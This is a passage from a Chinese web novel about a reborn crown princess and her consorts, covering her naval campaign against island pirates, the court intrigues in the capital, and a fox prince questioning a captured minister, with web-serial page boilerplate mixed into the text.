王权不弃的声音让慕夜声回过神来,收回注视在逃跑男侍离开方向的目光,捡起地上的信封。
“不弃兄,刚刚那个男侍不是普通人。”
王权不弃点头。
不过一晃眼的功夫便跑得不见人影,如若不然,他还能将人抓起来严刑审问。
慕夜声打开信件,看到里面内容后瞳孔一缩。
他心神慌乱之下,顾不得在计较刚刚有人刻意传递信息给他的异常。
“寒松……他没死!”
慕夜声这次病倒之后好得格外慢,便是因为有心结。
寒松以及其余神医谷中人的惨死是慕夜声心底的一根刺。
就算亲手杀了月江离,报了血海深仇,那根刺拔出后,也在心脏留下了创伤。
每次午夜梦回,伙伴们惨死的场景一遍遍在梦中浮现,而他什么都做不了……
这种无力感,折磨着慕夜声的神经。
现在,有人拿出了寒松佩戴的木簪,以及告诉他寒霜还活着的密信。
不管消息真假,哪怕有一丝的可能,他也要去验证究竟是不是真的。
慕夜声心神激荡下,胸腔发出剧烈的咳嗽声,宛如破旧的老风箱一般,呕哑啁哳难为听。
王权不弃皱眉,这事情摆明了是一场针对慕夜声的陷阱。
还是明晃晃的阳谋,就看慕夜声会不会心甘情愿踏入陷阱。
“慕兄,事情有蹊跷,我们还是从长计议。”
慕夜声却是半分也等不得了,他已经等待了太久太久。
他望向王权不弃,眼神坚定认真,一字一句道:
“不弃兄,哪怕只有万分之一的可能性,我也不会放弃。”
王权不弃见状,知道拦不住慕夜声。
“慕兄,太女殿下若是知道你这般糟蹋自己的身子,回来后肯定会生气,你可想好了?”
这算是王权不弃这些日子能说过最长的话,慕夜声心中确实有所顾忌,但他不会为了君羲而放弃自己内心真实的想法,哪怕已经嫁给了君羲。
他有自己的坚持,也有自己想做的事情。
王权不弃和慕夜声有过多次过命的交情,彼此对视,都不必多说,便能明白对方心中最真实的想法。
慕夜声没有再说话,只是很坚定地朝王权不弃的方向点了下头。
他要去。
王权不弃沉默半响,终于点了点头。
“可,但我要一同。”
王权不弃身为暗阁杀手,第一信条便是要不计代价完成任务。
照顾慕夜声,是他承诺君羲,一定会做好的任务。
慕夜声浅笑,大手攥着信封的力道有些紧,信封都皱了,足以见他内心并不平静。
“好。”
顾景行身为储君正夫,君羲有意放权给他,这些日子,他跟在母亲身旁处理了不少繁琐杂事,忙得不可开交。
但他的精神状态却是肉眼可见好了起来,他之前被囚禁在东宫深处,郁郁寡欢不见笑颜的日子,如今想起来,竟有种恍如隔世的不真实感。
君明月为了计划顺利,特意去找了柳如风,又是一分拉扯献身,终于让柳如风松口帮她制造事端,引开顾景行的视线。
她揽着柳如风,腰间一阵酸软,眯起眼。
“如风,你确定万无一失?”
柳如风伸出手,一圈又一圈在女人心口打转。
“明月,你就放心吧,太女如今不在宫中,我行事要方便得多。”
君明月一直是不见兔子不撒鹰的主,如今柳如风把她的嘱咐办得漂亮,她心花怒放之下,竟然都忘记了对柳如风残花败柳身躯的嫌弃。
吧唧一口亲在他的侧脸,笑意盈盈。
“我就知道!如风,你最好了。”
柳如风情意绵绵,尾音上翘。
“殿下……”
柳如风心中也有私心,他和君明月共同祈求的胎果里面孕育的是一个千尊万贵的女娃。
但是,只要君羲在一日,这个孩子就不能顺利降生。
柳如风娇滴滴的眼底划过一抹阴狠,既然如此,为父则刚,太女殿下你可不要怪本宫狠毒!
无论是君明月上位,还是君明月和君羲斗得两败俱伤,他以皇太夫之位垂帘听政,辅佐女儿登基,余生,荣华富贵根本不愁。
柳如风选择的转移视线的方法便是去找老皇帝君澜。
一番惹火过后,故意不给她泻火。
然后,委屈巴巴地表示:他要照顾胎果,分身乏术,不能伺候好圣上。
“陛下,后宫中的哥哥弟弟们都是老面孔了,陛下也该充盈后宫了。”
“后宫中多一些新面孔,我们的孩子出生后,看着这些青春的面孔也能够快乐地长大。”
柳如风说的话其实有很多逻辑问题,但说到了君澜的心坎上。
她一直想要选秀,只是君羲一直不曾答应,君澜心中害怕君羲发疯将她刀了。
可是,如今君羲远在南方,管不到玉京城。
柳如风不提还好,柳如风一提……君澜心里就直泛荡漾,想到那些青春的面孔和稚嫩的身段。
反正,她现在这玉京城中最大的,只要他想,选秀还不得提上日程?
“朕的好风儿,朕怎么就那么喜欢你呢?你可真是太善解人意了。”
“你放心,就算有新人入宫,朕也不会忘记了你,你才是朕心尖尖上的宝贝。”
柳如风嘴角直抽抽,心想你这老女人还真当他稀罕不成?
最好是赶紧把他忘了,他才好和君明月暗度陈仓,日日欢好!
“陛下,有你这句话,如风就心满意足了。”
君澜第二天,便迫不及待召见顾景行母子。
御书房中,君澜坐在龙椅上,一双浑浊的老眼中满是淫邪。
她的好女儿,大凰太女可真是有眼光,挑的正夫真是万中都难以挑一的美男子。
顾景行被君澜的视线看得有些不舒服,他不动声色往顾青颖背后躲。
顾青颖心中也不满,君澜能够坐上皇帝位置,在她看来是走了狗屎运。
君澜居然用那种色眯眯的眼神看她的儿子,还是太女的正夫……
由于心中不满,顾青颖开口时语气不自觉,便带了几分冲。
“陛下,眼前南方兵患,北方雪灾,大凰境内民不聊生。”
“微臣负责监国,大事小事,要紧事、繁琐事,数不胜数!根本忙不过来,您召微臣前来究竟是为何?”
“还请直说,不要浪费彼此的时间。”
君澜就像没有看见顾青颖难看的脸色一般,自顾自地搓着手,笑得一脸谄媚。
“爱卿,朕已有一年半未曾选秀,如今太女亲征南方,尚且未归。”
“朕认为很有必要办一场盛大的选秀宴来祈福,以保佑太女平安归来。”
顾青颖此刻的心情就像当初君羲第一次听君澜提出选秀要求时一样无语。
遇事不决,拖字诀!
顾青颖并没有正面回答君澜,他端起一旁泡好的热茶,冉冉升起的热气朦胧了眉眼,愈发显得清绝儒雅。
“圣上,并不是微臣不愿意给你调拨银子,举办选秀宴……”
“太女殿下出征之前,特意嘱咐了,不允许铺张浪费,尤其是选秀!”
君羲不在东宫,君澜已经是放飞自我,没什么好怕的,所以他开始无理取闹。
“朕不管,反正一定要选秀!”
“这是命令!”
君澜死猪不怕开水烫,没脸没皮纠缠顾青颖。
“丞相,莫不是想抗旨不遵?”
顾青颖无法,只能一直和君澜打太极。
顾景行在顾青颖身后,可算是见识到了君澜的不要脸和放浪形骸。
若不是她身为大凰帝王,没人敢对她怎么样,这副浪荡的老色狼模样,早就被别人打断腿扔乱葬岗去了!
同君澜比起来,君羲简直不要太好了!
好歹,君羲的皮相是长得极好的。
顾青颖和顾景行成功被老皇帝君澜拖住脚步,君明月差点没控制住窃笑出声。
“风儿,你真棒,真不愧是本殿未来女儿的父亲。”
她抱着柳如风,又是一番云雨。
终于,柳如风不在发浪,君明月在柳如风看不到的角度里唇角上翘。心中暗道:
鱼儿,上钩了。
鱼儿,来信了!
君羲有些担心溟汐的处境,小醋鱼都回去这么多天了,都不曾给她送过只言片语。
终于,在第二天的清晨,枝头的桃花迎着朝阳,慢慢盛放时。
唲——
君羲、东方凌、东方炽三人几乎同时睁眼。
君羲眼神发亮,一个鲤鱼打挺从床上坐了起来。
“阿元!”
天空中盘旋着一只展翅足有三米的雄鹰,正是之前君羲给东方炽、东方凌介绍的阿元。
君羲早早就准备好了兔子,这是给阿元的送信费。
只要阿元带来确切的消息,她便能立刻派兵前往南海深处,与溟汐里应外合,荡平倭寇,解救被掳走的大凰子民。
雄鹰停在她的手臂,她打开阿元绑在脚上的信筒,抽出里面的纸张,仔细查看一番。
“小醋鱼还怪可爱的。”
只见信纸的最右下角,画着一个简单的缩小版溟汐。
寥寥几笔,画得栩栩如生。
银发绿眸,圆乎乎的脸蛋既能看出是溟汐,又透出几分软萌可爱。
她默默将这张信纸展平放在胸膛内侧,这才安心。
“阿元,兔子!”
牢笼打开,三只兔子飞速窜出去。
阿元追了出去……
君羲看着阿元追出去的身影,长久的沉默,她在思索溟汐信中的内容。
“暗礁……”
方位倒是有了,就是倭寇所居住的小岛四周,有凶险的暗礁,一不小心便可能触暗礁,导致船毁人亡。
“传孤命令,明日卯时出征,荡平倭寇!”
第103章 这真是弟妹?
溟汐在信中提到,倭寇所在岛屿是有四块小岛组成,外围是暗礁区,给岛屿提供了天然的防护。
倭寇的祖先世世代代耗费了巨大的代价,才摸清了暗礁的排布规律,并绘制成图纸,由皇室代代相传。
暗礁区不止暗礁密布,还有危险的漩涡状暗流,若是有船误入,不清楚正确的路线,定然是十死无生!
若没有溟汐的帮助,君羲会放弃讨伐。
并不是君羲冷血,而是为了救被掳走的少数人搭上大凰最精锐的军队并不值得。
况且,就算搭上了凤羽军,还不一定能救回来。
大凰王朝如今内忧外患,满地疮痍,根本经不起这样的损失。
万不得已的时候,君心身为大凰储君,肯定会选择保全大多数人。
不幸中的万幸,以上她所考虑的都不会发生,因为她有溟汐。
溟汐身为鲛人族最神秘、最强大的黑尾皇族血脉,大海把他视作宠儿。
倭寇祖辈用无数人命才查探清楚的暗礁和暗流的排布情况,溟汐带领一百族人,三天功夫便探查清楚了。
他在信中同君羲约定,十日后在倭寇居住的岛屿外汇合。
届时,他和族人自会为她们指引方向。
溟汐探出海面,隔着蔚蓝无边际的海朝漾州方向眺望。
“妻主,阿汐在这儿等你。”
……
卯时,天微亮。
君羲已经整理好着装,一身银甲,手握长枪,墨发高束。
天时地利人和。
既然优势全然在她,自然要一劳永逸,永绝后患。
以防倭寇没死绝,死灰复燃。
所以,这次除了镇守漾州,绥州必需的兵力外,其余凤羽军尽数随君羲出征。
上万艘战船挂上黑底龙纹战旗,战旗随着海风吹拂猎猎作响。
君羲站在大军最前方,身后便是排列整齐的九万大军。
“扬帆!”
迎着朝阳,船帆升起,君羲再次下令。
“登船!”
训练有素的军队有条不紊地登上战船,不多时,数万艘战船便朝着倭寇所在岛屿方向驶去。
浅金色的阳光洒在女人带着三分英气的眉眼上,或许是心有灵犀,君羲同样眺望着一望无际的蔚蓝海面。
望向溟汐指引的方向,隔着茫茫大海,她也想念溟汐了。
北方,岚州。
王紫汐听眼前过分俊朗的高大男子提起君羲,脑海中疯狂思索,太女殿下如今正在南方平定外敌,暂时摸不清楚对方有什么意图,不能暴露太女殿下真正行踪。
最好的办法就是……以假乱真,将错就错。
“你是何人?本……孤便是大凰太女,有何指教。”
王紫汐说这话时,心里一阵心虚。
事急从权,希望太女殿下日后知晓她今日冒充储君身份,不要追究他的僭越。
还好刚刚及时刹住了嘴,否则她就要露馅了。
涂山烈没有回答王紫汐,狐疑的视线上下扫视着王紫汐,他总感觉这位“储君”行为有些怪异,说话也不太自然。
而且,她看上去就不太像传闻中的那位暴戾太女。
气势太弱,整个人畏畏缩缩的,半点没有久居高位者的威严从容。
有诈。
涂山烈心里已经肯定王紫汐在说谎,但是,他此行也不能空手而归,能抓个大凰的高官作为人质,说不定会有意外的惊喜呢?
管她是不是太女,先抓了再说!
涂山烈做事就是这么简单粗暴。
“全部带走!”
“是,王爷!”
王紫汐就一介文官,武功平平,根本反抗不了,至于其余的士兵早就中了狐族特有的幻术,如今也只能任人宰割。
涂山烈冷眼看着手底下将王紫汐一行人全部五花大绑,确保万无一失后,带着人返航。
涂山靖快气死了,他没想到,涂山烈此去不仅没有被强制带走,还将“太女”给抓回族中了。
传闻中,大凰太女身边有两支奇军,怎么这么废啊……
“确认消息属实?”
涂山靖很快恢复了平静,只是,他手中握着茶杯,用力到指骨泛白,暴露了他内心真实的情绪。
汇报消息的属下,艰难地吐出两个字。
“属实。”
说完便飞快低下的脑袋,生怕被暴露的王爷处罚。
咔擦——
涂山靖硬生生将茶杯握碎了,滚烫的茶水烫红了他的手,他嘴角却依旧挂着一抹和煦的微笑,就仿佛一切都从未发生一样。
涂山靖还有闲心从怀中拿出一方手帕,细细擦手。
“行了,本王亲自去会一会皇弟和未来皇弟妹。”
正巧这时,他已经用手帕擦干净手,说完,他将手帕丢在那手下脸上,轻飘飘道:
“下去吧。”
涂山靖心里实在好奇,涂山烈是如何将大凰太女抓回来的。
大凰太女这么容易就被抓了?总有一种不真实的荒诞感。
涂山烈为了以防万一,将王紫汐她们带回烈王府后,第一时间就给他们用了大量的软筋散,关进了地牢里。
本小章还未完,请点击下一页继续阅读后面精彩内容!此刻,涂山烈就在地牢中。
王紫汐身份不明,涂山烈是打算和大凰交好,而不是结仇,自然就不能用严刑拷打那一套。
或许,可以试试攻心。
涂山烈隔着牢门和王紫汐对视,男人眼中的威势太重,很快王紫汐便败下阵来,不自然地移开目光,紧盯着牢狱的地面。
王紫汐这样的表现让涂山烈心中更加确定,他抓了一个假货,眼前这人根本不是传言中的大凰太女,更不是他的未婚妻。
“王爷,靖王登门拜访。”
狐王已经老了,如今王位最有力的竞争者便是涂山烈和涂山靖二人。
早些时候,二人还有些兄弟情分,现在为了各自的利益,早就已经势同水火。
彼此都给对方下过套,最严重的一次涂山烈中了涂山靖的陷阱,险些命丧黄泉。
涂山烈厌恶地皱眉,无事不登三宝殿,涂山靖这个笑面虎来找他准没好事。
若是可以,真不想和这种当面一套,背地一套的人打交道。
“靖王怎么说?”
“回王爷,靖王殿下说,他就是来看看未来弟妹。”
这话说出来骗鬼呢?
涂山烈手腕上戴着一串沉木串珠,木珠个个外表光滑,一看便是经常被主人把玩。
每当他心情烦躁时,便会拨动手腕上的木珠,平复心底烦躁的情绪。
“呵……”
“走吧,请靖王进府。”
刚走到会客大厅,便听到一阵爽朗的笑声。
“哈哈哈,阿烈,本王听闻你这次可是将弟妹给带回来了。”
靖王看向涂山烈身后空空如也的位置,端着一副长辈的口吻,明知故问。
“阿烈啊,你也长大了,也是到了该娶妻的年纪了……怎么没见弟妹?”
“难不成阿烈你是想金屋藏娇?弟妹究竟是怎样的绝色才值得阿烈你这般藏着掖着?”
他哥俩好般用手拍了拍涂山烈的肩膀。
“还不快快将弟妹带出来让王兄看看。”
涂山烈瞥了一眼放在肩膀上的手,微不可见地皱了下眉,侧开身子。
涂山靖的手滑落下去,他半点不带尴尬,还在那边挤眉弄眼,一副好奇弟妹长相,替弟弟着想的好兄长模样。
“阿烈,你就别害羞了,虽然弟妹……弟妹她身份特殊,但你也不能这般关着弟妹。”
“好歹在咱们狐族,女孩子是需要细心呵护的。”
看来,今日不让涂山靖见到人,他是不会善罢甘休了。
涂山烈沉眉,嗓音低哑而富有磁性。
“皇兄你说笑了,既然皇兄如此好奇,那本王便带皇兄下去看看。”
涂山靖盯着涂山烈的眼睛,似乎想通过眼睛看出点什么,但他什么也没看到,只看到一望无际的黑。
他很快便扬唇笑了起来。
“好啊,本王可得替王弟好好把关,免得阿烈所嫁非人。”
这话可就是明晃晃的嘲讽了。
狐族男尊女卑,将男子入赘之事看作耻辱。
涂山靖故意提起这茬,便是想让涂山烈认清自己的身份,不过是一介即将远嫁的赘婿,有什么好嚣张的?
最好是放弃和他竞争狐王之位。
涂山烈周身冷了一个度,涂山靖还真是一如既往的讨厌。
嘴巴不会说话就别说了!
真想用针把涂山靖的嘴巴缝起来,看涂山靖还敢不敢在他面前狗吠。
“王兄还真是热心肠呢。”
涂山烈明明是在暗中讥讽涂山苏苏多管闲事,但涂山靖就像没听懂涂山烈言外之意般,笑呵呵催促涂山烈。
“阿烈,你是本王的弟弟,本王不关心你,还有谁会关心你?你就别跟本王客气了。”
“对了,现在就带本王去见弟妹吧,事不宜迟,本王还给弟妹准备了见面礼。”
涂山烈比了个手势,他并不想暴露烈王府中地牢的布局,所以最好的办法便是让手底下的人将王紫汐带出来。
涂山烈心里憋着一口气,故意带着涂山靖在烈王府里兜圈圈。
直到涂山靖快要耐心耗尽时,这才带着他去了烈王府中最偏僻的一处院子。
院子名为寒院,杂草丛生,院门破败。
涂山烈用内力推开大门时,厚厚的灰尘扑面而来,涂山靖用衣袖挡住鼻子,嫌恶地往院中看去,同里面被绑在椅子上的王紫汐对视上了。
涂山靖心中一愣,不应该呀,涂山烈的未婚妻怎么可能是个老女人?
“阿烈……这真是弟妹?”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第104章 太女殿下,你快回来
王紫汐听了这话,突然想起来,太女殿下还有一个威名远扬的未婚夫——狐族战神王爷,烈王。
她半眯着眼,仔细打量站在院外的两个年轻男子,其中,将她们绑来此处的男子气势和太女殿下一样可怕。
她心中暗道,难怪太女殿下强制狐族用烈王来联姻……
若是烈王留在狐族,指不定会生出多大祸患,说不定会威胁到大凰边疆的安全。
狐族难得出一个战神,太女殿下可真是深谋远虑啊。
看来之前都是她误会太女殿下了,太女殿下才不是好色,而是牺牲自己,将烈王娶进东宫,放在眼皮子底下监视。
“你就是本王的弟妹?大凰储君?”
面对涂山靖的质问,王紫汐秉持着多说过错的想法,不做回答,冷着脸装作一副不想搭理他们的模样。
“哼。”
涂山靖最烦别人冷脸,眸中神色不明,语气带着寒意。
“王弟,女人可不能惯着。”
“她这副冷脸,一看就不老实,嘴里面没有一句实话,你就没想过用狐族迷心术探听一二?”
涂山烈真的非常想回涂山靖一句,你家住海边啊,管这么宽?
现实中,他却是皮笑肉不笑,维持着表面脆弱的和平。
“王兄,本王自有主张。”
“是么?王兄也只是担心你被女人骗了,阿烈,你可别怪王兄多管闲事。”
“王兄可都是为了你好啊。”
涂山烈心中冷哼,呵呵,为了他好?
涂山靖口中所谓的为他好……便是让他长相俊朗的传言传到大凰,引起大凰储君注意,下旨让他联姻。
若是对他好是这样的好,他宁可不要。
他这个王兄,真是虚伪至极,令人作呕!
“多谢王兄美意,若是这桩婚事真这样好,本王愿意将这婚事让与王兄。”
他低垂着眉眼,遮盖住眼中的冷嘲热讽。
“毕竟,本王也不忍王兄为了我……让步太多。”
涂山靖见实在打探不出什么,“太女”身份成迷,或许,今晚他可以潜入寒院,试探一二。
他从袖中拿出一个包装精致的檀木小盒,递给涂山烈,说道:
“这便是本王给弟妹准备的礼物,阿烈,你可收好了。”
“等你们正式大婚之时,本王定人会送上一份比这还要珍贵千百倍的成婚礼物。”
涂山靖很期待那一天的到来,只要涂山烈远嫁他国,他就没了最强劲的竞争对手。
其余的王兄王弟们,不过是一群酒囊饭袋,到了那个时候,王位对他而说唾手可得。
“弟妹也见了,礼物也送了,本王这便告辞。”
涂山烈敷衍回了一句。
“王兄慢走。”
目送涂山靖离开视线范围后,涂山烈转过头,视线陡然变得压迫感十足。
他死死盯着被捆在椅子上的王紫汐,靠近一步,嗓音不辨喜怒。
那双深邃黝黑的眸……就仿佛能看穿人心一般。
“本王知道你并不是大凰太女殿下。”
王紫汐瞳孔一缩,她本来以为自己的伪装天衣无缝,应该没人看得出端倪才对。
被涂山烈掳来后,她已经快六个时辰未成进食喝水。
故而,她的唇瓣有些苍白干裂,哑着声音道:
“孤、孤不知道你在说什么。”
王紫汐决定咬死不认,她不能给太女殿下带去未知的危险。
“孤就是大凰太女,行不更名,坐不改姓,君羲就是孤!孤就是君羲!”
涂山烈点评。
“你的演技,错漏百出。”
王紫汐哑口无言,看来无论她说什么、做什么,涂山烈都已经认定她不是太女殿下。
她还不知道,狐族的观心之术,防不胜防。
王紫汐只听到一个好听的男声在她耳边蛊惑,这声音娓娓道来,不急不缓,有一种让人放松警惕的魔力。
“做个交易吧,只要你说出太女殿下如今在何处,本王便饶你们一命。”
王紫汐大脑思维跟着涂山烈走,周围的事物全都离她远去,脑海中只剩一句话:说出太女殿下去处。
太女去处……
王紫汐潜意识里认定,太女行踪绝不能暴露,哪怕她死!
所以,涂山烈发现,王紫汐意识抵抗得很厉害,眉心都快皱成一个死结了。
在这么下去,王紫汐很可能成为一个傻子。
好不容易才抓到的人质,可不能就这么不明不白,轻易没了,涂山烈改变主意,决定换一个问题。
“忘记之前的指令。”
王紫汐眉心渐渐平缓,最终喃喃。
“忘记。”
“现在,告诉我,你是谁?”
问她是谁?
这个问题没有涉及太女殿下的秘密,所以王紫汐轻而易举便被蛊惑着说出答案。
“我是户部尚书,王紫汐。”
“很好,现在告诉本王,你为什么来岚州。”
王紫汐想了想,这个问题也好回答。
“赈灾。”
蛊惑一个人,最好的办法便是步步为营,一点一点卸下被蛊惑之人的心防。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!先从微不足道的边缘问题问起,降低被询问之人的警惕性,然后逐步向核心问题靠拢。
涂山烈已经通过王紫汐得到了想要的答案,他虽说不能将大凰境内的所有事情全都把控。
但在大事上还是能掌控重要消息,大凰境内就出现两件大事,一便是北方的雪灾,二便是南方的兵患。
既然太女不在北方,那便一定在南方。
不在啊……
涂山烈拨动着檀木佛珠,让他好好想一想,该用什么样的办法才能诱使看中的猎物主动走进陷阱呢?
涂山烈解开对王紫汐的心神控制,转身就走。
王紫汐摇了摇脑袋,刚刚究竟发生了什么?
她貌似不知不觉间便丧失了意识,好像还有一个温柔的男声一直在指引她回答问题。
王紫汐后背发凉,刚刚她到底有没有透露出对太女殿下不利的消息?
她不确定。
她脸色一片颓败,这便是狐族的迷心术吗?果然名不虚传。
……
玉京城,君澜凭借一己之力成功惹了文武百官众怒。
只要一有空,她便不依不饶,去堵顾青颖、顾景行以及朝中大臣的路。
撒泼耍赖皮,嚷嚷着要选秀,给君羲冲喜。
顾青颖母子俩烦不胜烦,根本没工夫关注皇宫内院之事。
君明月的谋算可算是顺利,她笑得牙不见眼,连带着对柳如风以及之前讨厌的贱种都顺眼了几分。
“如风,慕夜声和王权不弃成功出皇宫没?”
“明月,我办事你还不放心吗?放心吧,他们二人都出了玉京城了。”
君明月笑得一脸阴险,玉京城毕竟是在天子脚下,她就算想做什么也有心无力。
但出了玉京城可就不一样了,想对付两个男子再简单不过。
她就是赌上自己手中所有能用的势力,也要报复君羲!
将君羲在意的人除去,好让她后悔对自己下毒。
就算到最后她难逃一死,也要让君羲的夫郎陪葬!
“哈哈哈,君羲,可惜……”
可惜杀不了君羲,不然,最好的陪葬人应该是她嫡亲的皇长姐。
等顾景行抽出身来,才发现东宫中已经没了慕夜声、王权不弃的身影。
慕夜声和王权不弃同时失踪,他们二人的身份都不简单,都是太女的男人。
玉京城中,一时间兵荒马乱,草木皆兵。
但凡能够调用的兵力,都调用了,就是为了寻找他们二人的下落。
找了三天,才勉强得知慕夜声和王权不弃朝着北方而去。
“胡闹!”
顾景行没想到,他不过是被君澜缠住脱不了身,短短两三日,东宫中便少了两个侧夫。
就在他气愤之时,前朝又传来一个坏消息。
一波未平,一波又起。
顾青颖收到王紫汐被狐族掳走当人质时,已经过了七日。
没有了主事的钦差大臣,岚州、钦州、蔼州,三州赈灾事宜陷入了僵局。
顾青颖真的一个头两个大,偏偏君澜还不安分,时时刻刻叫嚣着要选秀。
甚至多年不曾上朝的她,居然破天荒地穿上龙袍,端坐在龙椅上。
想威逼文武百官,满足她选秀的需求。
文武百官内心是崩溃的,这时候她们不可避免地想起君羲在的时候……
若是太女殿下还在玉京城中就好了。有太女殿下这尊杀神镇着,君澜根本不敢吱声。
“圣上,如今国库空虚,地方财政紧张,根本没有多余的银钱。”
“朕不管!朕只要结果!”
顾青颖彻底恼了,一向儒雅温和的目光如利刃一般,直直扎向坐在龙椅上的君澜。
“圣上,还请不要无理取闹。”
“你若是在这般胡闹下去,臣立刻手书一封,八百你加急,送去给太女殿下,告知你所有荒唐行为。”
君澜没想到顾青颖这么油盐不进,气得腾的一声站了起来。
“你!”
话既然已经说出口了,便没有收回的道理。
更何况,现在她要处理的烂摊子实在是太多了!
根本没有精力再来理会君澜的上蹿下跳。
“微臣言尽于此,圣上自行定夺。”
君澜气急败坏地在龙椅前走来走去,她没想到没了君羲,她说的话根本没人理会,下的令也无人会听。
“你们别忘了,朕才是大凰的帝王!”
顾青颖恭敬下跪,连带着文武百官全都跪下。
“是,您是。”
“皇上万岁万岁万万岁。”
君澜得意,这还差不多,她旧事重提。
“那选秀?”
“圣上自行决定。”
反正她们是不会帮忙的,就让君澜一个人瞎忙活去吧。
她们要写信给太女殿下,看看太女什么时候凯旋。
太女离开的第……不知道多少天,想念。
太女殿下,你快回来,管管你昏庸的母亲!
君澜傻乎乎的,还以为文武百官都答应了。
“算你们识相,平身吧!”
喜欢重生十年前,暴戾太女强宠九个俊美夫郎请大家收藏:()重生十年前,暴戾太女强宠九个俊美夫郎更新速度全网最快。
第105章 等孤找到你,定要打你屁股
王紫汐被掳,君澜闹幺蛾子,她的两个侧夫离宫去了北方,玉京城一片鸡飞狗跳……
君羲对这些都一无所知,战船扬帆起航,她顺着溟汐的地图指引在茫茫无际的大海上航行。
“殿下,你别担心,汐公子智勇双全,定然会平安无事的。”
君羲的确有些担心溟汐,溟汐为了帮她,深入敌人腹地。
这可不是闹着玩的!
若是被倭寇发现,免不了一场血战。
溟汐身处敌方老巢,兵力上不占优势,偏偏她还需一段时间才能赶到倭寇所在聚集地,这让她如何能放心?
她比任何人都清楚,强大并不代表着无敌。
相反,强者往往承担着更多责任,会背负更多伤痛。
而她,不愿意溟汐受伤。
快一些,在快一些……
“加快速度!明早赶到目的地!”
以君羲对溟汐的了解,他为了自己可能会做出冒险的举动,越靠近地图地上描绘的终点,她心里越不安。
这种不安让君羲心里焦急,这种焦急……只有亲眼看到溟汐安然无恙才能够缓解。
“听孤号令,全军加速航行!”
呜——
壮烈低沉的号角声悠扬在天地间回响,所有战船的帆鼓起弧度变大,浩浩荡荡加速前行。
另一边,君羲的担忧并没有错。
在等君羲带大军过来汇合的几天里,溟汐思前想后,还是决定亲自出马,打入敌人内部。
等君羲到了,同她里应外合,降低君羲遇到危险的几率。
而且,溟汐也做不到让自己心爱的女人去冲锋陷阵,他却只能在后方干看着。
比起躲在君羲的羽翼下,他更想和女人并肩作战!
溟汐不是一个优柔寡断的性子,既然心中下定了决心,就会毫不犹豫地执行。
一如他当年宁愿众叛亲离也要离开深海,去到君羲身边。
这一次,溟汐也会坚持自己内心的想法。
“靠,哪里来的美人?这脸蛋,太踏马绝了!”
溟汐伪装成虚弱无力的样子,银色的长发凌乱地堆积在脸侧,配上他那双宛若嫩芽被碎冰冻住的眸子,破碎绝美。
苍白的唇一看便是多日未曾进水,他声音嘶哑,一只手朝着那倭寇的方向伸出。
“救……命……,水,渴……”
那巡视的倭寇还算有些警惕,事出反常必有妖,他们这破岛何时有过长得这般惊为天人的男子?
不正常,很不正常!
溟汐声音越发无力,苍白的脸庞让他看上去就像一朵失去精心呵护而逐渐枯萎的花朵,碧眸里满是恳求。
“求……求求你。”
“你,你怎么会出现在这里?”
“水……”
那倭寇仍旧没放下心中的警惕,手中拿着水壶,一步一步缓慢靠近溟汐倒在地上的方向。
清水壶壶口倾泻,清水倾斜而下。湿沾润了沾湿的男人苍白的唇。
嫣红的舌尖飞快地舔舐着唇边的水,哪怕这水染上了沙子,也毫不在意。
倭寇这下彻底放下心来,看来真的是一个落难的人,恰巧来到他们岛屿下。
如若不然,怎么可能会愿意喝下沾了沙子的水?
还是那般急饮,狼吞虎咽的样子,任谁看了都会觉得是一个难民。
看来,今日合该她飞黄腾达!
天皇最是好色,若是将此绝色美男献上,好处还能少了?
“嘿嘿……美人别怕,姐这就带你吃香的,喝辣的。”
鱼儿终于上钩,溟汐这才放心地晕过去。
等他醒过来,便发现自己双手被捆在身后,周围是干草和简陋的被褥,他貌似是在牢房。
溟汐活动脖子,立马便听到了锁链哗啦作响的声音,看样子,他的容貌还是引起了天皇的觊觎。
“我要见你们的天皇!”
“美人还是乖乖在这牢房里呆着,好吃的,好喝的,都不会亏待你。”
天皇身份贵重,被天皇看中,是他的福气!
狱卒喝着小酒吃着小菜,已经在幻想自己飞黄腾达的日子了。
真是天降大饼,她没想到不过是闲着没事去海边瞎溜达,居然能捡到一个绝色美男,还入了天皇的眼!
说不准,等美男嫁给天皇那日,就是她升官发财之际!
她,就是未来牢狱长!
溟汐顺利混进倭寇内部,目的已经达到。
通过狱卒的呓语,溟汐提取关键信息,合理推测他现在所处位置极有可能是倭寇天皇所在的城池。
这就意味着,他可以开始计划了。
“啊~~”
空灵的鲛人歌声在牢狱中响起,就像有魔力一般,在空间里反复回荡,然后越传越远,直至覆盖整个地牢。
地牢的狱卒、囚犯以及看守地牢的倭寇士兵陷入了某种幻境中,溟汐轻而易举迷惑狱卒亲自给他打开牢门,大摇大摆在地牢中穿行。
在她们眼里,地牢却并无异常。
这样的大型幻术对身体是极大的负荷溟汐唇色都惨白了几分,但眼底神色却是跃跃欲试。
本小章还未完,请点击下一页继续阅读后面精彩内容!倭寇狡猾,且毫无人性。
若是羲羲强攻,那些被掳走的大凰百姓极有可能会被倭寇当做人质威胁。
战争是残酷的,溟汐见过驱赶手无寸铁的百姓在大军前面做挡箭牌的残酷战役。
羲羲想做一个明君,就不能背负残害子民的恶名。
溟汐计划先行潜入敌人内部,制造混乱,趁机救出被困的大凰百姓。
出了地牢,刺眼的阳光让他不自觉眯起眼,过了一会儿,才适应外面的环境。
他行走在大街小巷,发现自己的推测没错,那倭寇的确是将他带进了皇城。
也好,正好方便他行动!
溟汐唇角微翘,食指和拇指圈起,吹了一声呼哨。
传递的意思是他已经成功潜入,一切按照计划进行。
溟汐还不知道君羲的担忧,君羲已经打定主意,若是溟汐以身犯险,找到他之后,定要好好教训教训……
此刻的天皇和大臣们正在开庆功宴,毕竟她们可是以多欺少,将大名鼎鼎的凤羽军打退了。
“呵呵呵……本皇看,那凤羽军根本就没有传闻中那般厉害,什么天下第一奇军,还不是被本皇的军队打得落花流水?”
“天皇阁下英明!我看那大凰太女就是徒有虚名,根本就是个废物吧?哈哈哈。”
天皇宫殿,天皇坐在上首,满脸横肉,右眼处有一道伤疤横贯,让她看上去凶神恶煞。
溟汐悄无声息潜入宫中,就听到倭寇对君羲以及凤羽军的诋毁,登时就怒了,不过是一群盗匪海贼聚集,自立为王,行事野蛮,也配诋毁大凰储君?
溟汐扯着唇角笑了,狠狠咬牙,加大迷药用量,还不解气,又去厨房弄了些脏水混合进去。
反正待会这些人都会陷入幻境,感知到什么,全是他说了算。
至于那些被困的大凰百姓,溟汐之前传递的信号便是提供皇城方位,以及让手下营救他们。
